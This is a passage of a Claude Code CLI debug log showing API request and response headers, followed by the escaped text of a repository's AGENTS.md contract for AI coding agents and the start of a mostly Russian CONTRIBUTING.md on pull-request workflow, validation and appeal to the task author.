\"/v1/messages?beta=true\",\n[2026-09-29T07:43:42.101Z] [STDOUT]     body: {\n[2026-09-29T07:43:42.103Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:42.105Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:42.107Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:42.109Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:42.111Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:42.115Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:42.118Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:42.121Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:42.123Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:42.125Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:42.127Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:42.129Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:42.131Z] [STDOUT]     },\n[2026-09-29T07:43:42.133Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:42.135Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:42.136Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:42.138Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:42.140Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:42.142Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:42.144Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:42.146Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:42.150Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:42.152Z] [STDOUT]     },\n[2026-09-29T07:43:42.154Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:42.156Z] [STDOUT]   },\n[2026-09-29T07:43:42.158Z] [STDOUT]   headers: {\n[2026-09-29T07:43:42.160Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:42.162Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:42.164Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:42.166Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:42.168Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:43:42.170Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:43:42.172Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:43:42.174Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:43:42.176Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:43:42.181Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=7492\",\n[2026-09-29T07:43:42.183Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:43:42.185Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:43:42.187Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:42.189Z] [STDOUT]     \"x-client-request-id\": \"dac405cf-21e1-4f6c-92fb-3e4c98e5037c\",\n[2026-09-29T07:43:42.192Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:43:42.194Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:43:42.196Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:43:42.198Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:43:42.199Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:43:42.201Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:43:42.203Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:43:42.205Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:43:42.207Z] [STDOUT]   },\n[2026-09-29T07:43:42.209Z] [STDOUT] }\n[2026-09-29T07:43:42.888Z] [STDOUT] [log_06ffad, request-id: \"req_011CfXMdBqSAjA47bEPaTAFB\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 804ms\n[2026-09-29T07:43:42.892Z] [STDOUT] [log_06ffad] response start {\n[2026-09-29T07:43:42.894Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:42.897Z] [STDOUT]   status: 200,\n[2026-09-29T07:43:42.899Z] [STDOUT]   headers: {\n[2026-09-29T07:43:42.904Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:43:42.906Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:43:42.908Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:43:42.910Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:43:42.912Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:43:42.914Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:43:42.918Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:43:42.922Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:43:42.927Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:43:42.935Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:43:42.939Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:43:42.945Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:43:42.951Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:43:42.955Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:43:42.961Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:43:42.964Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:43:42.970Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:43:42.976Z] [STDOUT]     \"cf-ray\": \"a4295bc00c384d8b-FRA\",\n[2026-09-29T07:43:42.980Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:43:42.986Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:43:42.989Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:43:42.994Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:43:42.997Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:43:42 GMT\",\n[2026-09-29T07:43:42.999Z] [STDOUT]     \"request-id\": \"req_011CfXMdBqSAjA47bEPaTAFB\",\n[2026-09-29T07:43:43.005Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:43:43.009Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:43:43.013Z] [STDOUT]     traceresponse: \"00-6aaffb63accf28802419caa6738f9ba5-2b7266cafbc89a5c-01\",\n[2026-09-29T07:43:43.016Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:43:43.018Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:43:43.023Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:43:43.026Z] [STDOUT]   },\n[2026-09-29T07:43:43.029Z] [STDOUT]   durationMs: 804,\n[2026-09-29T07:43:43.034Z] [STDOUT] }\n[2026-09-29T07:43:43.038Z] [STDOUT] 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Read it completely before the first action. It is a dispatcher; detailed rules remain in their canonical documents.\\n\\n- archetype: `A`\\n- environment: `local`\\n\\nThe values mirror `.hub-profile.json`, which is the SSOT. A mismatch is a validation failure. This contract applies to every model; model- or environment-specific files may only be generated pointers, never copies of these rules.\\n\\nRule scope is explicit and machine-checkable. ``, ``, `` and `` are **general**: they hold in every repository of the ecosystem and are delivered unchanged into spoke templates. `` is the **only** home for rules of this repository; a spoke replaces its content and never weakens or rewrites the general sections. The section list, the size thresholds and the frontmatter contract are normed once in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md and are not restated here.\\n\\n\\n\\n1. Read this file before changing files, then follow the full router at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md.\\n2. Start from an issue or an explicit request of the repository owner or the task author; read its latest comments and current PR feedback before editing.\\n3. Do not invent repository structure, facts, estimates, or sources. Classify an artifact by content and place it in its canonical home.\\n4. One artifact exists only for an operational need (Anti-Inflation).\\n5. Work through a pull request; direct commits to `main` are forbidden.\\n6. Run applicable validators before committing. A red validator stops the change.\\n7. Normalise the goal before executing: read the project concept and vision, interpret the stated goal in their context, and check that the listed tasks actually close it. Judge a decision tactically (does it close the goal?) and strategically (does it keep the project on course to its vision?); a tactical win that causes a strategic defeat is a defect, and the pull request states the strategic risk. A contradiction between the task, the repository contracts and the project concept is appealed, not silently resolved \u2014 see ``.\\n8. Check the backlog at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md before starting and update the entry you executed after finishing. Do not add the current task to the backlog retrospectively if it was not there.\\n9. When a task is incomplete, continue within safe explicit scope and record the gap. Escalate only when a missing decision would materially change the result.\\n\\n\\n\\n- Do not create `docs/contracts/`; agent contracts live in `ai-rules/`.\\n- Do not copy rules into model- or environment-specific files. Generated, validator-protected pointers are allowed.\\n- Do not use `ai-generated` in document frontmatter.\\n- Do not add a top-level directory outside the core, archetype, declared environment, or `project_specific_directories` without the required decision record.\\n- Do not add named directory denylists. A non-canonical directory is declared in `.hub-profile.json` with `path` and a non-empty `reason`; absence from the canonical set is not a prohibition.\\n- Do not change `standards/` or `docs/adr/` without explicit task authority.\\n- Do not delete or overwrite another contributor's artifacts instead of creating the required new version.\\n- Do not use relative links to Hub rules from a spoke.\\n- Do not act on an unresolved contradiction by picking one reading silently, and do not stop with an empty result instead of appealing.\\n- Do not execute a knowingly wrong instruction literally, praise the author, apologise for the system's work, or change a position without a new argument or evidence.\\n\\n\\n\\nRecommendations. Apply them unless they conflict with ``, ``, or the goal of the task; a justified deviation is recorded in the pull request. There is no class of \\\"soft rules\\\": a norm is either absolute above or a recommendation here.\\n\\n- Prefer extending an existing canonical artifact over creating a new one.\\n- Test the boundary and the alternative hypothesis before confirming a direction, and record what was falsified.\\n- Keep the diff small and reviewable; one PR closes one goal.\\n- Name the evidence next to the claim, and record an unresolvable anchor as a gap instead of an assumption.\\n\\n\\n\\nThe agent is an assistant with a right to appeal, not an executor of literal text.\\n\\n**Appeal.** The agent MUST appeal to the task author when the statement contradicts an active contract, the project concept, or itself; when the listed tasks do not close the stated goal; or when industry practice makes the requested path materially worse. An appeal states the conflict, the options, and the agent's recommendation. Absence of an appeal is a positive assertion that no contradiction was found. Appeal is not a stop: the agent performs the part of the work that the disputed decision does not touch and carries the question into the pull request body by the escalation contract.\\n\\n**Autonomy by operating mode.** The author sets the mode up front; an omitted mode defaults to Hybrid. The mode sets the level of initiative and execution budget. Modes are normed in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md; here is the entrypoint summary.\\n\\n| Mode | Goal validation | Backlog initiative | Budget |\\n| --- | --- | --- | --- |\\n| `Creative` | Validates the goal and the task set, explores boundary and alternative hypotheses. | Creates backlog tasks and may execute one it initiated inside the goal. | No preset upper budget beyond model context limits; external research, falsifying hypotheses, case synthesis and measurement are mandatory. |\\n| `Hybrid` | Checks against the goal; optimises the path, does not re-derive the vector. | Creates a backlog task as a proposal only; never starts it alongside the current task. | Balanced depth proportional to risk and model limits. |\\n| `Structured` | Follows the given instructions; escalates contradictions and gaps. | Creates a backlog task only when escalating. | Minimal sufficient to execute and verify the given decisions. |\\n\\n**Backlog.** Check it before starting; update the entry executed after finishing. Any number of new tasks may be created when escalating or when a gap is found. Maximise the number of tasks provided each is justified by a hypothesis, a requirement, a boundary case or a metric, and duplicates no existing entry. An agent without the right to create tasks records the same proposal in the pull request body instead.\\n\\n**Collaboration.** In every mode the agent objects to an error, offers a justified alternative instead of empty execution, and reports facts without praise or apology. https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md governs communication; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md governs modes and the `Creative` research protocol; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md governs sync anchors. The anchors expose drift without adding gates. Only a critical risk blocks the disputed part pending the owner's decision.\\n\\n**Boundaries of the project.** Widening the boundary of a task is a project-specific permission and never a default. Where the repository contract does not grant it, an agent that sees the need to go beyond the contract MUST NOT act on its own: it creates a backlog task with the rationale in `docs/analysis/` and leaves the decision to the author. Two escalation controls remain with the human: the operating mode at statement time and the merge decision.\\n\\n\\n\\nRules of this repository only. They do not travel into spokes; a spoke defines its own delta here in line with its concept.\\n\\n1. Hub research expands the considered boundary: missing status, existing linkage, or alignment with an accepted concept is not grounds for excluding an artifact or alternative. Exclusion requires a recorded substantive analysis. This rule governs research in the Hub; spoke execution narrowing scope to its accepted product contract is correct behaviour, not a defect.\\n2. Direction-scoped artifacts of a Hub initiative live in `projects//`, not in the shared `docs/` tree.\\n3. Synthesising reference data is a legitimate Hub method in `Creative` mode; the Hub has no `runs/` or `kb/` home, so synthesised material lives with the research or analysis artifact that produced it.\\n\\n\\n\\n| Need | Canonical route |\\n| --- | --- |\\n| Full task-class routing and priority graph | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md |\\n| Agent execution rules, modes, autonomy, appeal and DoD | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Communication rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md |\\n| Mode profiles and Creative protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Sync anchors | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Preflight onboarding protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Backlog and its rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog-instruction.md |\\n| Repository model and artifact homes | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/repo-model.md |\\n| Artifact registry | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/artifact-map.md |\\n| Structure of this file | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md |\\n| Standards | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/standards |\\n| Governance | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/GOVERNANCE.md |\\n\\n\\n\\nAn artifact lives in the home of its execution. Agent contracts \u2014 how the agent works \u2014 are separated from process contracts \u2014 how the subject-matter process is arranged.\\n\\n| Artifact class | Home |\\n| --- | --- |\\n| Agent contract: always-loaded rule | `ai-rules/.md` |\\n| Agent contract: human-invoked command | `ai-rules/commands/.md` |\\n| Agent contract: context-selected skill, self-contained and executable | `ai-rules/skills//SKILL.md` |\\n| Process contract: operational process artifact | `ops/.md` |\\n| Process norm: mandatory reusable rule, may reference other documents | `standards/.md` |\\n| Research | `research//YYYY-MM-DD-name.md` |\\n| Analysis / audit / report | `docs/analysis/`, `docs/audit/`, `docs/report/` |\\n| Architecture decision | `docs/adr/YYYY-MM-adr-NNN-name.md` |\\n\\nA standard states a norm and may delegate detail by reference. An executable contract \u2014 a command or a skill \u2014 is self-contained at the moment the agent executes it.\\n\\n\\n\\nKeep the levels distinct: user story, system functional requirements, system non-functional requirements, executor task, and process constraints. The user story is mandatory. Functional and non-functional requirements describe the **target system being built** (\\\"the system shall let the user ...\\\"), are written only when the task actually needs them, and are never invented to fill a slot. Requirements addressed to the executor are not functional requirements: the executor is bound by the task contract and the Definition of Done.\\n\\n\\n\\nA missing task type, operating mode, or other required field does not stop safe work, and it is not closed by a record alone. Act: derive the value from active contracts only, request the clarification that the derivation could not supply, do the part of the work that does not depend on it, and record every value that remained underived as a gap in the pull request body.\\n\\n\\n\\nDo not read the whole repository. Start with this file, then load only the issue/PR context, nearest README, and canonical routes needed for the task class. Expand context when evidence identifies another dependency.\\n\\n\\n\\nBefore committing, run the applicable commands from https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/CONTRIBUTING.md, including `tools/test-*.sh`, `./tools/validate-frontmatter.sh .`, `./tools/validate-file-naming.sh`, `./tools/validate-repository-structure.sh`, `./tools/validate-rrp-links.sh`, and `python3 tools/generate-manifest.py --check`.\\n\\n\\n\\nCodex reads `AGENTS.md` natively. Other tools may use a native adapter that imports or points to `/AGENTS.md`; the adapter must be generated, marked as such, and protected from manual drift. If a tool cannot auto-load it, the operator supplies `/AGENTS.md` in the system prompt.\\n\\n\\n\\nThe task contract has priority for scope and desired outcome; repository governance has priority for safe execution and artifact placement. Appeal and ask when a required decision is absent, the requested path conflicts with the genome, authorization does not cover a standards/ADR change, or deletion would remove an existing artifact. Waiting for an answer is not a completed state: deliver the undisputed part, open a pull request with a non-empty diff, and record the question with options and a recommendation in the pull request body. A question left only in the issue or inside an artifact counts as unasked. Do not silently violate either branch of this priority graph.\\n\\n---\\nstatus: canonical\\nversion: 1.14\\nupdated: 2026-08-17\\ntemperature: 0.1\\n---\\n\\n# Contributing\\n\\n\u0412\u043a\u043b\u0430\u0434 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043c\u0430\u043b\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432,\\ntraceability \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f hybrid human + AI work.\\n\\n## Workflow\\n\\n1. \u041d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441 GitHub issue, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c context, scope, \u044f\u0437\u044b\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430,\\n   acceptance criteria \u0438 forbidden changes.\\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0434\u0438\u043d\u044b\u0439 5-\u0431\u043b\u043e\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\\n   [.github/ISSUE_TEMPLATE/task.md](.github/ISSUE_TEMPLATE/task.md) \u0438\u043b\u0438\\n   GitHub-native \u0444\u043e\u0440\u043c\u0443 [.github/ISSUE_TEMPLATE/task.yml](.github/ISSUE_TEMPLATE/task.yml):\\n   \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0426\u0435\u043b\u044c, SSOT, \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0437\u0430\u0434\u0430\u0447\u0438, \u0413\u043e\u0442\u043e\u0432\u043e \u043a\u043e\u0433\u0434\u0430.\\n3. \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `Operating Mode`\\n   (`Structured` / `Creative` / `Hybrid`), \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c. \u0412 Creative\\n   \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u044c, constraints \u0438 Definition of Done, \u043d\u0435 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\\n   \u043b\u0438\u0448\u043d\u0438\u0435 \u0448\u0430\u0433\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n4. \u0412\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\\n   [ops/repo-model.md](ops/repo-model.md),\\n   [docs/rfc/knowledge-lifecycle-proposal.md](docs/rfc/knowledge-lifecycle-proposal.md) \u0438\\n   [docs/rfc/resolve-artifact-location-proposal.md](docs/rfc/resolve-artifact-location-proposal.md),\\n   \u0435\u0441\u043b\u0438 \u043c\u0435\u0441\u0442\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e.\\n5. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\u0437 [standards/README.md](standards/README.md).\\n6. \u0414\u0435\u0440\u0436\u0438\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 reviewable: \u043e\u0434\u043d\u0430 \u0446\u0435\u043b\u044c, \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0431\u0435\u0437 unrelated\\n   restructuring.\\n7. \u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e, changelog \u0438 artifact map, \u0435\u0441\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 active artifact\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n8. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c PR.\\n\\n## AI-Assisted Work\\n\\n\u0418\u0418-\u0430\u0433\u0435\u043d\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e\\n[`/AGENTS.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/AGENTS.md).\\n\u041e\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u043c governance, rules \u0438 standards; \u044d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c workflow \u0432\u043a\u043b\u0430\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.\\n\\n### \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0430\u0432\u0442\u043e-\u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u041c\u0435\u0442\u0430\\n\\n\u0410\u0432\u0442\u043e\u0440 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u044c \u0438 Operating Mode. AI-\u0430\u0433\u0435\u043d\u0442 \u043e\u0431\u044f\u0437\u0430\u043d\\n\u0434\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u041c\u0435\u0442\u0430 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432:\\n\\nOperating Mode \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442 \u0448\u0438\u0440\u0438\u043d\u0443 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u043e\\n[\u041f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 3 ADR-010](docs/adr/2026-08-adr-010-agent-autonomy-principles.md):\\n`Structured`, `Creative` \u0438 `Hybrid` \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442 \u0446\u0435\u043b\u044c \u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b.\\n\\n| \u0427\u0442\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 | \u041a\u0430\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- |\\n| Target artifact | \u041f\u043e `ops/artifact-map.md`, `ops/repo-model.md` \u0438 resolver prompt. |\\n| Lifecycle stage | \u041f\u043e `docs/rfc/knowledge-lifecycle-proposal.md`; \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap. |\\n| L1-L4 link | Product docs \u0434\u0430\u044e\u0442 L1-L2, governance/standards/templates \u0434\u0430\u044e\u0442 L3-L4. |\\n| Validation | \u041c\u0438\u043d\u0438\u043c\u0443\u043c: frontmatter, structure validator, manifest check when templates changed. |\\n\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. 